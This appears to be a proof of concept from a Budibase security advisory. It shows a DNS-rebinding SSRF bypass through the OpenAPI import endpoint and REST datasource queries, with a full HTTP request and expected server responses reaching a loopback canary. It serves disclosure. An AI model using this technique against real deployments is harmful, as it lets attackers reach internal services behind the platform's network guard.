Budibase: DNS Rebinding SSRF Bypass in OpenAPI Import and REST Query Execution

# Step 1: configure rebind.test so the first DNS lookup returns a public IP
# (e.g. 8.8.8.8) and the second lookup returns 127.0.0.1.
# Start a canary HTTP service on loopback port 7777 of the Budibase host.

# --- Path A: OpenAPI import ---
# POST to the query import endpoint as a builder:
POST /api/queries/import HTTP/1.1
Host: budibase.internal
Cookie: <builder_session>
Content-Type: application/json

{"url": "http://rebind.test:7777/openapi.json"}

# Validation resolves rebind.test -> 8.8.8.8  (allowed)
# fetch() resolves rebind.test -> 127.0.0.1    (rebind)
# Canary returns: loopback-canary-hit:/openapi.json

# Expected server response (from advisory PoC):
# {"outcome":"allowed","body":"loopback-canary-hit:/openapi.json",
#  "lookups":[{"phase":"guard","hostname":"rebind.test","address":"8.8.8.8"},
#             {"phase":"fetch","hostname":"rebind.test","address":"127.0.0.1"}]}

# --- Path B: REST datasource / undici dispatcher ---
# Configure a REST datasource with base URL http://rebind.test:7777/
# then execute a query preview. undici re-resolves at connect time.
# Canary returns: REST-UNDICI-REBIND-CANARY

# Expected server response (from advisory PoC):
# {"undiciBypass":{"outcome":"allowed","status":200,
#                  "body":"REST-UNDICI-REBIND-CANARY","hitsAfter":1},
#  "lookupTrace":[{"phase":"guard","hostname":"rebind.test","address":"8.8.8.8"},
#                 {"phase":"fetch","hostname":"rebind.test","address":"127.0.0.1"}]}